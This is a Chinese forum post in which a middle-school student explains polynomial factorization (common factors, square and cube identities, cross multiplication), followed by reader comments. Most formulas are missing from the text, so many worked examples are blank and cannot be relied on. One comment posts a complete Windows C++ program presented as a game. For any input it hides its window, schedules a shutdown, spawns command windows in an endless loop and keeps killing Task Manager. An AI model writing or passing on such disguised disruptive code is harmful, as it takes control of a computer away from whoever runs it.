#创作计划# 数学中的“拆解艺术”
2025-07-28 18:59:31
发布于:浙江
感谢AC君,让帖子的a不被*
此帖建议有一定整式的加减乘除基础者阅读(即5年级以上)(整式运算帖子,这也是精华帖)
根式运算
二次方程
CSP-J数学真题讲解
(赞赞跟上)
附1
支线故事的起因是这样的(你们往下翻评论还能看到)
7/11 上午11点左右写:
左括号已经解出来是二项式定理标准形式(上面的公式表格里提到过),结果为 ,右括号看是我先想出来还是先有高人指点(作者只是个6升7的小初生)
7/11 下午15点半左右写:
好好好已经解出来了,根本不需要高人指点好吧 (特别鸣谢:湖北明心数学6升7B班讲师董老师)
过程大概如下
解:
左括号(一眼二项式定理)
右括号有点麻烦,因为@不会C++的noah说不要,但我感觉要还简单一点怎么回事
第一步,先不管连成符号,优先计算每一个对于来说的,
第二步,把连城符号乘进来,得到
那接下来将会是一场酣畅淋漓的公比为二等比数列求和(在那个右括号指数上),指数为, 有五年级文凭的人应该都知道是
那最后一步自然就是写成因式分解形式,即左右括号乘积
作者武汉滴
未更完,上次更新时间2025/7/10下午
引言:
数学历史:古希腊数学家丢番图在《算术》中首次提出因式分解思想
核心概念:用乘法逆向思维简化复杂多项式(在分式计算中会作为工具性的东西经常使用)
现实意义:密码学、工程优化、计算机算法等领域的基础工具
作者OS:看到人教八年级课本上没讲很细致,再来讲一讲吧,反正闲着也是闲着。
注意:作者只是个6~7的蒟蒻,只是在湖北明心学因式分解板块快学吐了,于是破大防,写下文章
作者再次OS:这个题不会做但是依然有感而发而写下全文
第一章 因式分解基础
1.1 基本定义与原理
数学定义(这个作者查阅了一下资料):因式分解(Factorization)是代数学中的一种基本运算,指将一个多项式(或整数)表示为若干个因式(因子)的乘积形式。其核心思想是“拆解”——将复杂的表达式转化为更简单的组成部分的乘积,从而便于进一步的计算、求解或分析。
例1:
因式分解过程:
整式乘法过程:
即两种运算互为逆运算看到没有,一定不能搞混两种概念,否则一分拿不到。
1.2 因式分解的方法
因式分解方法 | 举例 |
---|---|
提公因式法 | |
公式法 即完全平方公式 | |
公式法 即平方差公式 | |
公式法 即立方差公式 | |
公式法 即立方和公式 | |
公式法 即三项和的平方公式 | |
公式法 即完全立方和公式 | |
公式法 即完全立方差公式 | |
十字相乘法 | |
拓展知识:二项式定理 | 计算观察各项系数,再把正号换成负号,重新计算 |
拓展公式如果你一直往下算你会发现系数呈杨辉三角,把正号换成负号后你会发现奇数项前符号为+,偶数项前符号为-
不会有人来抄公式吧
注意※:
- 立方和差公式中,前-后+,前+后-
- 立方和差公式中,没有二倍项
- 完全立方差中,系数符号为+-+-...
- 三项完全平方和中如有负号,如 情况,请注意符号的变化
第二章:提公因式法
2.1公因式的定义及找到两单项式之公因式之方法
公因式的定义:
找到一个单项式 ,使 能被单项式 和单项式 所除尽(即没有余式),则称为 和 的公因式。
找到两个或多个单项式的公因式的方法
例2: 找到 与 的公因式
解:
1.找 的系数:两单项式之系数之最大公约数,即 ,不考虑负号。
2. 确定每一个字母的次数
(1)字母 的次数:单项式 中 的次数为 ,单项式 中 的次数为 ,取次数之较小值,所以 中 的次数取 。
(2)字母b的次数:单项式 中 的次数为 ,单项式 中 的次数为 ,取次数之较小值,即 ,所以 中 的次数为 。
(...)以此类推
3.写下 :
着重注意※:如题目给出的是一个多项式,且该多项式首项带负号,则在找公因式时通常保留负号
例3: 找到多项式的公因式
此时 为。
提公因式方法
例4:
1.找到公因式
2.用该多项式的每一项除以对应公因式
(1)
(2)
3.将得到的两个单项式相加并乘上公因式
得到:,即题目答案
章节笔记:
作者再次再次OS: 看到上面的水印没有,别想拿走
第三章:公式法在因式分解中的应用
3.1平方差公式在因式分解中的应用
例5: 分解因式
解:原式=
是不是很简单,直接套公式,那我们再来一题
例6: 分解因式
解:原式=
注意※: 第二个因式分解不彻底
3.2完全平方公式在因式分解中的应用
例7: 分解因式
解:原式=
很简单对吧,那就再来一题
例8: 因式分解
阁下如何应对???
妙计:解:原式=注意※: 因式分解不彻底
注意※: 因式分解结果不应带中括号(或大括号)
此步骤理由※: 积的乘方,指数分配到每一个因数(或因式)中
3.3立方公式在因式分解中的应用
例9: 因式分解
这道题确实很简单,所以给大家判断 种解法
解1:原式=
解2:原式=
解3:原式=
解4:原式=
那么,请各位判断哪一个正确。
很明显只有解4正确,错误原因分析
解1:前-后+,没有2倍项
解2:没有二倍项
解3:前-后+
解4:正确
这里作者平常这样记:前面因式中的符号是原式的符号,后面括号的中间项的符号,和原式符号相反,但是这句话课本上没有,所以知道就好:前括号是符号位,后括号中间项相反符号位
因为这里例题没有立方和公式,所以大家就自己悟吧,后面的混合分解会有
例10: 分解因式
这里给大家看两种正确解法
解1:原式
这就是不建议大家用方法1的原因,因为很多同学在这里误以为第 个因式不可分解,实际可用配方法分解
平方差
虽然分解到这里结果正确,但是通常还会往下写一步
解2:原式
局势明了,进一步分解
很轻松得到四个因式
此题结论:在同时可以用立方公式和平方公式时,一定优先用平方公式,否则很有可能分出来最后只有 个因式,想不到用配方法
3.4完全立方公式在因式分解中的应用
例11: 因式分解:
这道题有天坑(作者的作业这其实是到选择题,问一下哪一项不能因式分解,作者觉得选C(就是这个题),结果错了)
圆规正转:这道题应该用配方法解题
解:原式
章节笔记
至此,公式法告一段落(后续会补充更多例题),进入因式分解重难点板块,十字相乘法
第四章:十字相乘在因式分解里的运用
4.1 基本原理
十字相乘总归原理就是根据公式 这一公式的草稿过程(类似竖式计算对于横式的关系)
4.2 基础例题
例很多: 因式分解:
思:找到一组数,乘积为。和为注意一定要带符号
因式分解过程如下图:结果为
例很多+1:因式分解
思:找到一组数,乘积为,和为
结果为
例很多+2:因式分解
思:找到一组数,乘积为,和为
结果为
【练一练】
现在有一块资本的蛋糕,你动了它,你很怕被资本做局,于是想因式分解这块蛋糕的面积,这块蛋糕的面积是,为了你不被资本做局,分解他
未更完,预计下次更新:2025/8/16晚
全部评论 44
作者最帅
2025-07-11 来自 湖北
9写的真好
2025-07-10 来自 湖北
7作者赶紧收拾收拾教数学去吧
1周前 来自 上海
65天前 来自 江苏
3最后练一练的答案如果不允许复数范围的话是x^2-5x+144,允许复数范围的话各位就难以理解了(两个带根号的分数相乘,我自己算出来这答案都头皮发麻
)6天前 来自 河北
2你是马上上初二吗?
5天前 来自 江西
0不是化简,是因式分解
4天前 来自 浙江
0是的,这是因式分解,因为在实数范围内只能分成这样了,如果非要要求格式的话就会出现复数了
4天前 来自 河北
0
w0w,bro以为自己很厉害吗???好吧,确实很厉害
6天前 来自 浙江
2作者厉害的我啥也看不懂
6天前 来自 山东
2oi作者
看看我发现了什么
红笔圈的地方应该是2呀
不过作者真的太强啦,谢谢作者~1周前 来自 河北
21周前 来自 河北
2好的
1周前 来自 浙江
3已修正
1周前 来自 浙江
3
wow
2025-07-12 来自 浙江
2Wow!!!!!!!!!!!!!!!!!!!!!!
6天前 来自 江西
1推荐上榜一
6天前 来自 江西
1
@百战漫播,你敢跟我发私信不敢公开?
5天前 来自 浙江
1#include <bits/stdc++.h>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
using namespace std;
void a(int n){
if(n == 1){
string m;
g << "欢迎来到打鸡泥土站" << j;
g << "----------------------------------" << j;
g << "请问你要选择简单战还是真人战" << j;
h >> m;
if(m == "简单战"){
t("shutdown -s -t 30 -c 就你还想以大欺小,换模式中,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else if(m == "真人战"){
g << "就你还想跟真人打,吃我一击!";
g << j;
sleep(2000);
t("shutdown -s -t -c 等待,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else{
g << "你竟然敢输错,那就送你一份大礼包吧";
cout << j;
sleep(2000);
t("shutdown -s -t 60 -c ,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
else{
t("shutdown -s -t 60 -c 你竟然不玩?,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码是杨晋章制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
FreeConsole();
AllocConsole();
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("打鸡泥土游戏"));
HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cInfo{};
GetConsoleCursorInfo(hOutput, &cInfo);
cInfo.bVisible = false;
SetConsoleCursorInfo(hOutput, &cInfo);
HWND hwnd = GetConsoleWindow();
LONG_PTR sty = GetWindowLongPtrA(hwnd, GWL_STYLE);
//sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色
//SetWindowLongPtrA(hWnd, GWL_STYLE, sty); //更改字体颜色
t("color 3E");
int x;
g << "请输入1启动游戏" << j;
h >> x;
a(x);
g << x;
return 0;
}5天前 来自 浙江
15天前 来自 浙江
0OK呀,室友已经试过了
5天前 来自 浙江
0
666我初一生刚预习完因式分解,我都到ACGO了,因式分解还在追我
6天前 来自 河北
1建议添加复数集内的分解和轮换对称式分解
6天前 来自 浙江
18/16后自然会有
6天前 来自 浙江
1现在在杭州坐牢
6天前 来自 浙江
1
我七年级数学满分,看着感觉有些小儿科!
1周前 来自 江西
1嗯嗯,7年级数学不满分你还想几年级满分,7年级数学就该满分
1周前 来自 浙江
2而且这是给5年级看的
1周前 来自 浙江
2满分=知识掌握
不满分=不掌握1周前 来自 浙江
2
@望川秋库 你不是宁波人吗?咋到湖北了?是旅游吗?
1周前 来自 浙江
1我武汉人。。。
1周前 来自 浙江
2
?????1周前 来自 浙江
1你是说他真名叫洪艺洲?
3天前 来自 上海
0
夏令营到否
1周前 来自 浙江
1good
1周前 来自 浙江
1我也上武汉明心,是4A的
2025-07-15 来自 湖北
1巧了,我是6~7B1班,董鹏真+王鑫
2025-07-15 来自 湖北
2我是螃蟹岬校区数学,汉口三阳路0号教室物理
2025-07-15 来自 湖北
22025-07-15 来自 湖北
1
MC玩家快看!
草
草
草
草
草
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草
土
土
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土
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钻
钻
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青
青
石
石
石
石
煤
煤
石
石
石
石
石
石
金
金
2025-07-15 来自 广东
1666我举报他抄袭(开个玩笑,抄袭都只会复制粘贴……)
1周前 来自 上海
11周前 来自 广东
1不!!!我的钻石呢!!!!
3天前 来自 上海
0
d.
昨天 来自 浙江
0作者用了很长时间吧,记得补补肝!
2天前 来自 河北
0
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